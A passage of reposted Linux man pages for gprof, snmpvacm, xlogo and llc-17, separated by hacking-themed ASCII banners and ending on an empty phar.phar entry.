gprof [ -[abcDhilLrsTvwxyz] ] [ -[ABCeEfFJnNOpPqQRStZ][name] ] [ -I dirs ] [ -d[num] ] [ -k from/to ] [ -m min-count ] [ -R map_file ] [ -t table-length ] [ –[no-]annotated-source[=name] ] [ –[no-]exec-counts[=name] ] [ –[no-]flat-profile[=name] ] [ –[no-]graph[=name] ] [ –[no-]time=name] [ –all-lines ] [ –brief ] [ –debug[=level] ] [ –function-ordering ] [ –file-ordering map_file ] [ –directory-path=dirs ] [ –display-unused-functions ] [ –file-format=name ] [ –file-info ] [ –help ] [ –line ] [ –inline-file-names ] [ –min-count=n ] [ –no-static ] [ –print-path ] [ –separate-files ] [ –static-call-graph ] [ –sum ] [ –table-length=len ] [ –traditional ] [ –version ] [ –width=n ] [ –ignore-non-functions ] [ –demangle[=STYLE] ] [ –no-demangle ] [–external-symbol-table=name] [ image-file ] [ profile-file … ]

DESCRIPTION

gprof produces an execution profile of C, Pascal, or Fortran77 programs. The effect of called routines is incorporated in the profile of each caller. The profile data is taken from the call graph profile file (gmon.out default) which is created by programs that are compiled with the -pg option of cc, pc, and f77. The -pg option also links in versions of the library routines that are compiled for profiling. Gprof reads the given object file (the default is a.out) and establishes the relation between its symbol table and the call graph profile from gmon.out. If more than one profile file is specified, the gprof output shows the sum of the profile information in the given profile files.

If you use gcc 2.95.x or 3.0 to compile your binaries, you may need to add the -fprofile-arcs to the compile command line in order for the call graphs to be properly stored in gmon.out.

Gprof calculates the amount of time spent in each routine. Next, these times are propagated along the edges of the call graph. Cycles are discovered, and calls into a cycle are made to share the time of the cycle.

Several forms of output are available from the analysis.

The flat profile shows how much time your program spent in each function, and how many times that function was called. If you simply want to know which functions burn most of the cycles, it is stated concisely here.

The call graph shows, for each function, which functions called it, which other functions it called, and how many times. There is also an estimate of how much time was spent in the subroutines of each function. This can suggest places where you might try to eliminate function calls that use a lot of time.

The annotated source listing is a copy of the program’s source code, labeled with the number of times each line of the program was executed.

OPTIONS

These options specify which of several output formats gprof should produce.

Many of these options take an optional symspec to specify functions to be included or excluded. These options can be specified multiple times, with different symspecs, to include or exclude sets of symbols.

Specifying any of these options overrides the default (-p -q), which prints a flat profile and call graph analysis for all functions.

“-A[symspec]”

“–annotated-source[=symspec]”

The -A option causes gprof to print annotated source code. If symspec is specified, print output only for matching symbols.

“-b”

“–brief”

If the -b option is given, gprof doesn’t print the verbose blurbs that try to explain the meaning of all of the fields in the tables. This is useful if you intend to print out the output, or are tired of seeing the blurbs.

“-B”
The -B option causes gprof to print the call graph analysis.

“-C[symspec]”

“–exec-counts[=symspec]”

The -C option causes gprof to print a tally of functions and the number of times each was called. If symspec is specified, print tally only for matching symbols. If the profile data file contains basic-block count records, specifying the -l option, along with -C, will cause basic-block execution counts to be tallied and displayed.

“-i”

“–file-info”

The -i option causes gprof to display summary information about the profile data file(s) and then exit. The number of histogram, call graph, and basic-block count records is displayed.

“-I dirs”

“–directory-path=dirs”

The -I option specifies a list of search directories in which to find source files. Environment variable GPROF_PATH can also be used to convey this information. Used mostly for annotated source output.

“-J[symspec]”

“–no-annotated-source[=symspec]”

The -J option causes gprof not to print annotated source code. If symspec is specified, gprof prints annotated source, but excludes matching symbols.

“-L”

“–print-path”

Normally, source filenames are printed with the path component suppressed. The -L option causes gprof to print the full pathname of source filenames, which is determined from symbolic debugging information in the image file and is relative to the directory in which the compiler was invoked.

“-p[symspec]”

“–flat-profile[=symspec]”

The -p option causes gprof to print a flat profile. If symspec is specified, print flat profile only for matching symbols.

“-P[symspec]”

“–no-flat-profile[=symspec]”

The -P option causes gprof to suppress printing a flat profile. If symspec is specified, gprof prints a flat profile, but excludes matching symbols.

“-q[symspec]”

“–graph[=symspec]”

The -q option causes gprof to print the call graph analysis. If symspec is specified, print call graph only for matching symbols and their children.

“-Q[symspec]”

“–no-graph[=symspec]”

The -Q option causes gprof to suppress printing the call graph. If symspec is specified, gprof prints a call graph, but excludes matching symbols.

“-t”

“–table-length=num”

The -t option causes the num most active source lines in each source file to be listed when source annotation is enabled. The default is 10.

“-y”

“–separate-files”

This option affects annotated source output only. Normally, gprof prints annotated source files to standard-output. If this option is specified, annotated source for a file named path/filename is generated in the file filename-ann. If the underlying file system would truncate filename-ann so that it overwrites the original filename, gprof generates annotated source in the file filename.ann instead (if the original file name has an extension, that extension is replaced with .ann).

“-Z[symspec]”

“–no-exec-counts[=symspec]”

The -Z option causes gprof not to print a tally of functions and the number of times each was called. If symspec is specified, print tally, but exclude matching symbols.

“-r”

“–function-ordering”

The –function-ordering option causes gprof to print a suggested function ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which support arbitrary ordering of functions in an executable. The exact details of how to force the linker to place functions in a particular order is system dependent and out of the scope of this manual.

“-R map_file”

“–file-ordering map_file”

The –file-ordering option causes gprof to print a suggested .o link line ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which do not support arbitrary ordering of functions in an executable. Use of the -a argument is highly recommended with this option. The map_file argument is a pathname to a file which provides function name to object file mappings. The format of the file is similar to the output of the program nm. c-parse.o:00000000 T yyparse c-parse.o:00000004 C yyerrflag c-lang.o:00000000 T maybe_objc_method_name c-lang.o:00000000 T print_lang_statistics c-lang.o:00000000 T recognize_objc_keyword c-decl.o:00000000 T print_lang_identifier c-decl.o:00000000 T print_lang_type … To create a map_file with GNU nm, type a command like nm --extern-only --defined-only -v --print-file-name program-name.

“-T”

“–traditional”

The -T option causes gprof to print its output in “traditional” BSD style.

“-w width”

“–width=width”

Sets width of output lines to width. Currently only used when printing the function index at the bottom of the call graph.

“-x”

“–all-lines”

This option affects annotated source output only. By default, only the lines at the beginning of a basic-block are annotated. If this option is specified, every line in a basic-block is annotated by repeating the annotation for the first line. This behavior is similar to tcov’s -a.

“–demangle[=style]”

“–no-demangle”

These options control whether C++ symbol names should be demangled when printing output. The default is to demangle symbols. The --no-demangle option may be used to turn off demangling. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

Analysis Options

“-a”

“–no-static”

The -a option causes gprof to suppress the printing of statically declared (private) functions. (These are functions whose names are not listed as global, and which are not visible outside the file/function/block where they were defined.) Time spent in these functions, calls to/from them, etc., will all be attributed to the function that was loaded directly before it in the executable file. This option affects both the flat profile and the call graph.

“-c”

“–static-call-graph”

The -c option causes the call graph of the program to be augmented by a heuristic which examines the text space of the object file and identifies function calls in the binary machine code. Since normal call graph records are only generated when functions are entered, this option identifies children that could have been called, but never were. Calls to functions that were not compiled with profiling enabled are also identified, but only if symbol table entries are present for them. Calls to dynamic library routines are typically not found by this option. Parents or children identified via this heuristic are indicated in the call graph with call counts of 0.

“-D”

“–ignore-non-functions”

The -D option causes gprof to ignore symbols which are not known to be functions. This option will give more accurate profile data on systems where it is supported (Solaris and HPUX for example).

“-k from/to”
The -k option allows you to delete from the call graph any arcs from symbols matching symspec from to those matching symspec to.

“-l”

“–line”

The -l option enables line-by-line profiling, which causes histogram hits to be charged to individual source code lines, instead of functions. This feature only works with programs compiled by older versions of the gcc compiler. Newer versions of gcc are designed to work with the gcov tool instead. If the program was compiled with basic-block counting enabled, this option will also identify how many times each line of code was executed. While line-by-line profiling can help isolate where in a large function a program is spending its time, it also significantly increases the running time of gprof, and magnifies statistical inaccuracies.

“–inline-file-names”
This option causes gprof to print the source file after each symbol in both the flat profile and the call graph. The full path to the file is printed if used with the -L option.

“-m num”

“–min-count=num”

This option affects execution count output only. Symbols that are executed less than num times are suppressed.

“-nsymspec”

“–time=symspec”

The -n option causes gprof, in its call graph analysis, to only propagate times for symbols matching symspec.

“-Nsymspec”

“–no-time=symspec”

The -n option causes gprof, in its call graph analysis, not to propagate times for symbols matching symspec.

“-Sfilename”

“–external-symbol-table=filename”

The -S option causes gprof to read an external symbol table file, such as /proc/kallsyms, rather than read the symbol table from the given object file (the default is a.out). This is useful for profiling kernel modules.

“-z”

“–display-unused-functions”

If you give the -z option, gprof will mention all functions in the flat profile, even those that were never called, and that had no time spent in them. This is useful in conjunction with the -c option for discovering which routines were never called.

Miscellaneous Options

“-d[num]”

“–debug[=num]”

The -d num option specifies debugging options. If num is not specified, enable all debugging.

“-h”

“–help”

The -h option prints command line usage.

“-Oname”

“–file-format=name”

Selects the format of the profile data files. Recognized formats are auto (the default), bsd, 4.4bsd, magic, and prof (not yet supported).

“-s”

“–sum”

The -s option causes gprof to summarize the information in the profile data files it read in, and write out a profile data file called gmon.sum, which contains all the information from the profile data files that gprof read in. The file gmon.sum may be one of the specified input files; the effect of this is to merge the data in the other input files into gmon.sum. Eventually you can run gprof again without -s to analyze the cumulative data in the file gmon.sum.

“-v”

“–version”

The -v flag causes gprof to print the current version number, and then exit.

Deprecated Options

These options have been replaced with newer versions that use symspecs.

“-e function_name”
The -e function option tells gprof to not print information about the function function_name (and its children…) in the call graph. The function will still be listed as a child of any functions that call it, but its index number will be shown as [not printed]. More than one -e option may be given; only one function_name may be indicated with each -e option.

“-E function_name”
The -E function option works like the -e option, but time spent in the function (and children who were not called from anywhere else), will not be used to compute the percentages-of-time for the call graph. More than one -E option may be given; only one function_name may be indicated with each -E option.

“-f function_name”
The -f function option causes gprof to limit the call graph to the function function_name and its children (and their children…). More than one -f option may be given; only one function_name may be indicated with each -f option.

“-F function_name”
The -F function option works like the -f option, but only time spent in the function and its children (and their children…) will be used to determine total-time and percentages-of-time for the call graph. More than one -F option may be given; only one function_name may be indicated with each -F option. The -F option overrides the -E option.

FILES

“a.out”
the namelist and text space.

“gmon.out”
dynamic call graph and profile.

“gmon.sum”
summarized dynamic call graph and profile.

BUGS

The granularity of the sampling is shown, but remains statistical at best. We assume that the time for each execution of a function can be expressed by the total time for the function divided by the number of times the function is called. Thus the time propagated along the call graph arcs to the function’s parents is directly proportional to the number of times that arc is traversed.

Parents that are not themselves profiled will have the time of their profiled children propagated to them, but they will appear to be spontaneously invoked in the call graph listing, and will not have their time propagated further. Similarly, signal catchers, even though profiled, will appear to be spontaneous (although for more obscure reasons). Any profiled children of signal catchers should have their times propagated properly, unless the signal catcher was invoked during the execution of the profiling routine, in which case all is lost.

The profiled program must call exit(2) or return normally for the profiling information to be saved in the gmon.out file.

SEE ALSO

cc (1), prof (1), and the Info entry for gprof.

“An Execution Profiler for Modular Programs”, by S. Graham, P. Kessler, M. McKusick; Software - Practice and Experience, Vol. 13, pp. 671-685, 1983.

“gprof: A Call Graph Execution Profiler”, by S. Graham, P. Kessler, M. McKusick; Proceedings of the SIGPLAN ‘82 Symposium on Compiler Construction, SIGPLAN Notices, Vol. 17, No 6, pp. 120-126, June 1982.

COPYRIGHT

Copyright (c) 1988-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1843 - Linux cli command snmpvacm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpvacm and provides detailed information about the command snmpvacm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpvacm.

NAME 🖥️ snmpvacm 🖥️

creates and maintains SNMPv3 View-based Access Control entries on a network entity

SYNOPSIS

snmpvacm [COMMON OPTIONS] AGENT createSec2Group MODEL SECURITYNAME GROUPNAME
snmpvacm [COMMON OPTIONS] AGENT deleteSec2Group MODEL SECURITYNAME
snmpvacm [COMMON OPTIONS] AGENT createView [-Ce] NAME SUBTREE MASK
snmpvacm [COMMON OPTIONS] AGENT deleteView NAME SUBTREE
snmpvacm [COMMON OPTIONS] AGENT createAccess GROUPNAME [CONTEXTPREFIX] MODEL LEVEL CONTEXTMATCH READVIEW WRITEVIEW NOTIFYVIEW
snmpvacm [COMMON OPTIONS] AGENT deleteAccess GROUPNAME [CONTEXTPREFIX] MODEL LEVEL
snmpvacm [COMMON OPTIONS] AGENT createAuth GROUPNAME [CONTEXTPREFIX] MODEL LEVEL AUTHTYPE CONTEXTMATCH VIEW
snmpvacm [COMMON OPTIONS] AGENT deleteAuth GROUPNAME [CONTEXTPREFIX] MODEL LEVEL AUTHTYPE

DESCRIPTION

snmpvacm is an SNMP application that can be used to do simple maintenance on the View-based Control Module (VACM) tables of an SNMP agent. The SNMPv3 VACM specifications (see RFC2575) define assorted tables to specify groups of users, MIB views, and authorised access settings. These snmpvacm commands effectively create or delete rows in the appropriate one of these tables, and match the equivalent configure directives which are documented in the snmpd.conf(5) man page.

A fuller explanation of how these operate can be found in the project FAQ.

SUB-COMMANDS

createSec2Group MODEL SECURITYNAME GROUPNAME

Create an entry in the SNMPv3 security name to group table. This table allows a single access control entry to be applied to a number of users (or ‘principals’), and is indexed by the security model and security name values.

MODEL

An integer representing the security model, taking one of the following values:
1 - reserved for SNMPv1
2 - reserved for SNMPv2c
3 - User-based Security Model (USM)

SECURITYNAME

A string representing the security name for a principal (represented in a security-model-independent format). For USM-based requests, the security name is the same as the username.

GROUPNAME

A string identifying the group that this entry (i.e. security name/model pair) should belong to. This group name will then be referenced in the access table (see createAccess below).

deleteSec2Group MODEL SECURITYNAME

Delete an entry from the SNMPv3 security name to group table, thus removing access control settings for the given principal. The entry to be removed is indexed by the MODEL and SECURITYNAME values, which should match those used in the corresponding createSec2Group command (or equivalent).

createView [-Ce] NAME SUBTREE MASK

Create an entry in the SNMPv3 MIB view table. A MIB view consists of a family of view subtrees which may be individually included in or (occasionally) excluded from the view. Each view subtree is defined by a combination of an OID subtree together with a bit string mask. The view table is indexed by the view name and subtree OID values.

[-Ce]

An optional flag to indicate that this view subtree should be excluded from the named view. If not specified, the default is to include the subtree in the view. When constructing a view from a mixture of included and excluded subtrees, the excluded subtrees should be defined first - particularly if the named view is already referenced in one or more access entries.

NAME

A string identifying a particular MIB view, of which this OID subtree/mask forms part (possibly the only part).

SUBTREE

The OID defining the root of the subtree to add to (or exclude from) the named view.

MASK

A bit mask indicating which sub-identifiers of the associated subtree OID should be regarded as significant.

deleteView NAME SUBTREE

Delete an entry from the SNMPv3 view table, thus removing the subtree from the given MIB view. Removing the final (or only) subtree will result in the deletion of the view. The entry to be removed is indexed by the NAME and SUBTREE values, which should match those used in the corresponding createView command (or equivalent).

When removing subtrees from a mixed view (i.e. containing both included and excluded subtrees), the included subtrees should be removed first.

createAccess GROUPNAME [CONTEXTPREFIX] MODEL LEVEL CONTEXTMATCH READVIEW WRITEVIEW NOTIFYVIEW

Create an entry in the SNMPv3 access table, thus allowing a certain level of access to particular MIB views for the principals in the specified group (given suitable security model and levels in the request). The access table is indexed by the group name, context prefix, security model and security level values.

GROUPNAME

The name of the group that this access entry applies to (as set up by a createSec2Group command, or equivalent)

CONTEXTPREFIX

A string representing a context name (or collection of context names) which this access entry applies to. The interpretation of this string depends on the value of the CONTEXTMATCH field (see below).

If omitted, this will default to the null context “”.

MODEL

An integer representing the security model, taking one of the following values:
1 - reserved for SNMPv1
2 - reserved for SNMPv2c
3 - User-based Security Model (USM)

LEVEL

An integer representing the minimal security level, taking one of the following values:
1 - noAuthNoPriv
2 - authNoPriv
3 - authPriv

This access entry will be applied to requests of this level or higher (where authPriv is higher than authNoPriv which is in turn higher than noAuthNoPriv).

CONTEXTMATCH

Indicates how to interpret the CONTEXTPREFIX value. If this field has the value ‘1’ (representing ’exact’) then the context name of a request must match the CONTEXTPREFIX value exactly for this access entry to be applicable to that request.

If this field has the value ‘2’ (representing ‘prefix’) then the initial substring of the context name of a request must match the CONTEXTPREFIX value for this access entry to be applicable to that request. This provides a simple form of wildcarding.

READVIEW

The name of the MIB view (as set up by createView or equivalent) defining the MIB objects for which this request may request the current values.

If there is no view with this name, then read access is not granted.

WRITEVIEW

The name of the MIB view (as set up by createView or equivalent) defining the MIB objects for which this request may potentially SET new values.

If there is no view with this name, then read access is not granted.

NOTIFYVIEW

The name of the MIB view (as set up by createView or equivalent) defining the MIB objects which may be included in notification request.

Note that this aspect of access control is not currently supported.

deleteAccess GROUPNAME [CONTEXTPREFIX] MODEL LEVEL

Delete an entry from the SNMPv3 access table, thus removing the specified access control settings. The entry to be removed is indexed by the group name, context prefix, security model and security level values, which should match those used in the corresponding createAccess command (or equivalent).

createAuth GROUPNAME [CONTEXTPREFIX] MODEL LEVEL AUTHTYPE CONTEXTMATCH VIEW

Create an entry in the Net-SNMP extension to the standard access table, thus allowing a certain type of access to the MIB view for the principals in the specified group. The interpretation of GROUPNAME, CONTEXTPREFIX, MODEL, LEVEL and CONTEXTMATCH are the same as for the createAccess directive. The extension access table is indexed by the group name, context prefix, security model, security level and authtype values.

AUTHTYPE

The style of access that this entry should be applied to. See snmpd.conf(5) and snmptrapd.conf(5) for details of valid tokens.

VIEW

The name of the MIB view (as set up by createView or equivalent) defining the MIB objects for which this style of access is authorized.

deleteAuth GROUPNAME [CONTEXTPREFIX] MODEL LEVEL AUTHTYPE

Delete an entry from the extension access table, thus removing the specified access control settings. The entry to be removed is indexed by the group name, context prefix, security model, security level and authtype values, which should match those used in the corresponding createAuth command (or equivalent).

Note that snmpget REQUIRES an argument specifying the agent to query as described in the .I snmpcmd(1) manual page.

EXAMPLES

Given a pre-existing user dave (which could be set up using the snmpusm(1) command), we could configure full read-write access to the whole OID tree using the commands:

snmpvacm localhost createSec2Group 3 dave RWGroup

snmpvacm localhost createView all .1 80

snmpvacm localhost createAccess RWGroup 3 1 1 all all none

This creates a new security group named “RWGroup” containing the SNMPv3 user “dave”, a new view “all” containing the full OID tree based on .iso(1) , and then allows those users in the group “RWGroup” (i.e. “dave”) both read- and write-access to the view “all” (i.e. the full OID tree) when using authenticated SNMPv3 requests.

As a second example, we could set up read-only access to a portion of the OID tree using the commands:

snmpvacm localhost createSec2Group 3 wes ROGroup

snmpvacm localhost createView sysView system fe

snmpvacm localhost createAccess ROGroup 3 0 1 sysView none none

This creates a new security group named “ROGroup” containing the (pre-existing) user “wes”, a new view “sysView” containing just the OID tree based on .iso(1).org(3).dod(6).inet(1).mgmt(2).mib-2(1).system(1) , and then allows those users in the group “ROGroup” (i.e. “wes”) read-access, but not write-access to the view “sysView” (i.e. the system group).

EXIT STATUS

The following exit values are returned:

0 - Successful completion

1 - A usage syntax error (which displays a suitable usage message) or a request timeout.

2 - An error occurred while executing the command (which also displays a suitable error message).

LIMITATIONS

This utility does not support the configuration of new community strings, so is only of use for setting up new access control for SNMPv3 requests. It can be used to amend the access settings for existing community strings, but not to set up new ones.

The use of numeric parameters for secLevel and contextMatch parameters is less than intuitive. These commands do not provide the full flexibility of the equivalent config file directives.

There is (currently) no equivalent to the one-shot configure directives rouser and rwuser.

SEE ALSO

snmpcmd(1), snmpusm(1), snmpd.conf(5), snmp.conf(5), RFC 2575, Net-SNMP project FAQ

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1844 - Linux cli command xlogo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xlogo and provides detailed information about the command xlogo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xlogo.

NAME 🖥️ xlogo 🖥️

X Window System logo

SYNOPSIS

xlogo [-toolkitoption …]

DESCRIPTION

The xlogo program displays the X Window System logo.

OPTIONS

Xlogo accepts all of the standard X Toolkit command line options, as well as the following:

-render
This option indicates that the logo should be drawn with anti-aliased edges using the RENDER extension.

-sharp
If -render is also specified, this forces the edges to be rendered in sharp mode, (ie. 1-bit alpha channel).

-shape
This option indicates that the logo window should be shaped rather than rectangular.

RESOURCES

The default width and the default height are each 100 pixels. This program uses the Logo widget in the Athena widget set. It understands all of the Simple widget resource names and classes as well as:

foreground (class Foreground)
Specifies the color for the logo. The default is depends on whether reverseVideo is specified. If reverseVideo is specified the default is XtDefaultForeground**, otherwise the default is** XtDefaultBackground**.**

shapeWindow (class ShapeWindow)
Specifies that the window is shaped to the X logo. The default is False.

WIDGETS

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xlogo. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

XLogo  xlogo
        Logo  xlogo

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

FILES

/etc/X11/app-defaults/XLogo
specifies required resources

SEE ALSO

X(7), xrdb(1)

AUTHORS

Ollie Jones of Apollo Computer and Jim Fulton of the MIT X Consortium wrote the logo graphics routine, based on a graphic design by Danny Chong and Ross Chapman of Apollo Computer.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1845 - Linux cli command llc-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llc-17 and provides detailed information about the command llc-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llc-17.

NAME 🖥️ llc-17 🖥️

LLVM static compiler

SYNOPSIS

llc [options] [filename]

DESCRIPTION

The llc command compiles LLVM source inputs into assembly language for a specified architecture. The assembly language output can then be passed through a native assembler and linker to generate a native executable.

The choice of architecture for the output assembly code is automatically determined from the input file, unless the -march option is used to override the default.

OPTIONS

If filename is “-” or omitted, llc reads from standard input. Otherwise, it will read from filename. Inputs can be in either the LLVM assembly language format (.ll) or the LLVM bitcode format (.bc).

If the -o option is omitted, then llc will send its output to standard output if the input is from standard input. If the -o option specifies “-”, then the output will also be sent to standard output.

If no -o option is specified and an input file other than “-” is specified, then llc creates the output filename by taking the input filename, removing any existing .bc extension, and adding a .s suffix.

Other llc options are described below.

End-user Options

-help
Print a summary of command line options.

-o <filename>
Use <filename> as the output filename. See the summary above for more details.

-O=uint
Generate code at different optimization levels. These correspond to the -O0, -O1, -O2, and -O3 optimization levels used by clang.

-mtriple=<target triple>
Override the target triple specified in the input file with the specified string.

-march=<arch>
Specify the architecture for which to generate assembly, overriding the target encoded in the input file. See the output of llc -help for a list of valid architectures. By default this is inferred from the target triple or autodetected to the current architecture.

-mcpu=<cpuname>
Specify a specific chip in the current architecture to generate code for. By default this is inferred from the target triple and autodetected to the current architecture. For a list of available CPUs, use:

llvm-as < /dev/null | llc -march=xyz -mcpu=help

-filetype=<output file type>
Specify what kind of output llc should generated. Options are: asm for textual assembly ( ’.s’), obj for native object files (’.o’) and null for not emitting anything (for performance testing).

Note that not all targets support all options.

-mattr=a1,+a2,-a3,…
Override or control specific attributes of the target, such as whether SIMD operations are enabled or not. The default set of attributes is set by the current CPU. For a list of available attributes, use:

llvm-as < /dev/null | llc -march=xyz -mattr=help

–frame-pointer
Specify effect of frame pointer elimination optimization (all,non-leaf,none).

–disable-excess-fp-precision
Disable optimizations that may produce excess precision for floating point. Note that this option can dramatically slow down code on some systems (e.g. X86).

–enable-no-infs-fp-math
Enable optimizations that assume no Inf values.

–enable-no-nans-fp-math
Enable optimizations that assume no NAN values.

–enable-no-signed-zeros-fp-math
Enable FP math optimizations that assume the sign of 0 is insignificant.

–enable-no-trapping-fp-math
Enable setting the FP exceptions build attribute not to use exceptions.

–enable-unsafe-fp-math
Enable optimizations that make unsafe assumptions about IEEE math (e.g. that addition is associative) or may not work for all input ranges. These optimizations allow the code generator to make use of some instructions which would otherwise not be usable (such as fsin on X86).

–stats
Print statistics recorded by code-generation passes.

–time-passes
Record the amount of time needed for each pass and print a report to standard error.

–load=<dso_path>
Dynamically load dso_path (a path to a dynamically shared object) that implements an LLVM target. This will permit the target name to be used with the -march option so that code can be generated for that target.

-meabi=[default|gnu|4|5]
Specify which EABI version should conform to. Valid EABI versions are gnu, 4 and 5. Default value (default) depends on the triple.

-stack-size-section
Emit the .stack_sizes section which contains stack size metadata. The section contains an array of pairs of function symbol values (pointer size) and stack sizes (unsigned LEB128). The stack size values only include the space allocated in the function prologue. Functions with dynamic stack allocations are not included.

-remarks-section
Emit the __remarks (MachO) section which contains metadata about remark diagnostics.

Tuning/Configuration Options

–print-after-isel
Print generated machine code after instruction selection (useful for debugging).

–regalloc=<allocator>
Specify the register allocator to use. Valid register allocators are:

basic

Basic register allocator.

fast

Fast register allocator. It is the default for unoptimized code.

greedy

Greedy register allocator. It is the default for optimized code.

pbqp

Register allocator based on ‘Partitioned Boolean Quadratic Programming’.

–spiller=<spiller>
Specify the spiller to use for register allocators that support it. Currently this option is used only by the linear scan register allocator. The default spiller is local. Valid spillers are:

simple

Simple spiller

local

Local spiller

Intel IA-32-specific Options

–x86-asm-syntax=[att|intel]
Specify whether to emit assembly code in AT&T syntax (the default) or Intel syntax.

EXIT STATUS

If llc succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

lli(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1846 - Linux cli command phar.phar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command phar.phar and provides detailed information about the command phar.phar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the phar.phar.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
